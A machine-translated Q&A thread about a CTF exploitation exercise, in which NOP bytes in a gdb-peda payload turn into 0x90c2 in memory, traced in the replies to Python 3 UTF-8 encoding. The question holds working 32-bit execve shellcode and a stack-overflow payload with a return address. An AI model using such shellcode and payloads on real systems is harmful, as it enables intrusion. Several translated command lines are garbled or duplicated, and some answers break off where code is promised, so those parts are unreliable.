如何修复GDB可能的字符集问题NOP 0x90在内存中转换为0x90c2？

在使用gdb-peda处理挑战和利用kali-linux中的可执行文件时，我遇到了一个奇怪的问题

#>gdb -q someVulnerableBinary
gdb-peda$ python
>shellcode=(
>"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
>)
>end
gdb-peda$ pset arg '"\x90"*(76-len(shellcode)) + shellcode + "\x08\x04\xb4\x10"[::-1] + "C"*10'
gdb-peda$ r
Starting program: /home/theDude/Downloads/tmp/someVulnerableBinary 'j
                          XRh//shh/binã1ÉÍ°CCCCCCCCCC'
j
                                                        XRh//shh/binã1ÉÍ°CCCCCCCCCC

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x804b410 --> 0x90c290c2 
EBX: 0x0 
ECX: 0x0 
EDX: 0x99 
ESI: 0x2 
EDI: 0xf7faf000 --> 0x1b2db0 
EBP: 0x90c290c2 
ESP: 0xffffda00 --> 0x90c290c2 
EIP: 0x90c290c2
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x90c290c2
[------------------------------------stack-------------------------------------]
0000| 0xffffda00 --> 0x90c290c2 
0004| 0xffffda04 --> 0x90c290c2 
0008| 0xffffda08 --> 0x90c290c2 
0012| 0xffffda0c --> 0x90c290c2 
0016| 0xffffda10 --> 0x90c290c2 
0020| 0xffffda14 --> 0x90c290c2 
0024| 0xffffda18 --> 0x90c290c2 
0028| 0xffffda1c --> 0xb6a90c2 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x90c290c2 in ?? ()
gdb-peda$
gdb-peda$ i r $eax
eax            0x804b410    0x804b410
gdb-peda$ x/20x $eax
0x804b410:  0x90c290c2  0x90c290c2  0x90c290c2  0x90c290c2
0x804b420:  0x90c290c2  0x90c290c2  0x90c290c2  0x90c290c2
0x804b430:  0x90c290c2  0x90c290c2  0x90c290c2  0x90c290c2
0x804b440:  0x90c290c2  0x90c290c2  0x90c290c2  0x90c290c2
0x804b450:  0x90c290c2  0x90c290c2  0x90c290c2  0x90c290c2
gdb-peda$ show charset
The host character set is "auto; currently UTF-8".
The target character set is "auto; currently UTF-8".
The target wide character set is "auto; currently UTF-32".

如果您需要有关它的更多信息，请告诉我，但显然，内存中的NOP\x90转换为内存中的\x90c2。我不知道为什么，甚至是它是否是字符集，以及目前如何改变它。除此之外，我现在无法通过谷歌或stackoverflow找到类似的东西

---

感谢您的帮助，我已经感谢您的建议和帮助。

我今天在挑战中遇到了同样的问题。我没有使用gdb peta，只是使用常规的gdb，但它帮助了我。基本上\x90c2是UTF-8字符的十六进制编码。对我来说，我遇到了这个问题，因为我安装了Python 2和Python 3，Python 2将字符串视为字节数组，Python 3将它们视为UTF-8编码字符的数组。作为解决方案，在调用

pset arg

时，尝试使用

b“\0x90”

等格式，而不是

“\0x90”

。如果gdb peta不允许您这样做，那么您可以通过调用Python2打印输入字符串并将其导入

这在堆栈上为我提供了\x90c2：

$ python3 -c "print '\x90',8" > input.txt
$ gdb ./vuln-program
(gdb) run arg1 < input.txt

$ python2 -c "print '\x90',8" > input.txt
$ gdb ./vuln-program
(gdb) run arg1 < input.txt

$ python3 -c "print b'\x90',8" > input.txt
$ gdb ./vuln-program
(gdb) run arg1 < input.txt

从理论上讲，以下内容也可以为我提供堆栈上的\x90：

$ python3 -c "print '\x90',8" > input.txt
$ gdb ./vuln-program
(gdb) run arg1 < input.txt

$ python2 -c "print '\x90',8" > input.txt
$ gdb ./vuln-program
(gdb) run arg1 < input.txt

$ python3 -c "print b'\x90',8" > input.txt
$ gdb ./vuln-program
(gdb) run arg1 < input.txt

$python3-c“打印b'\x90'，8”>input.txt
$gdb./vuln计划
（gdb）运行arg1

实际上，最后一次输入对我来说是中断的，因为在我的例子中，

vuln程序

正在寻找ASCII字符串，而不是字节作为输入。我认为Python2的

print

函数在写入管道时将字节数组转换为字符串，所以现在我只使用Python2来编写字符串

在您的例子中，我没有测试是什么创建了到UTF-8编码的转换，但是如果您运行的是python 3，那么调用

python

来创建

shellcode

至少会创建UTF-8字符

---

也许另一张海报可以给你确切的语法，在

gdb

中本机修复这个问题。在长时间休息后，我再次回到这个挑战中。你的提示引导我走向正确的方向

经过一番研究，我发现：

我发现gdb现在正在使用python3，并且可以使用python2重新编译它，这将是解决字符集混乱问题的一种解决方法

但是，作为更好的解决方案，我在这里使用了此链接的帮助：

并进行了以下变通（采用到python2）：

---

这对我很有效。

这还不清楚-当前的问题似乎是程序计数器中存在

0x90c290c2

（可能是因为您在堆栈上重写了返回地址）。我不确定这与对NOP操作码的误解有多大关系。从获取%pc==0x41424344开始，然后担心外壳代码。如前所述，您在获取程序计数器控制时遇到问题，这是第1步。在长时间休息后，我再次回到这个挑战。你的提示引导我走向正确的方向。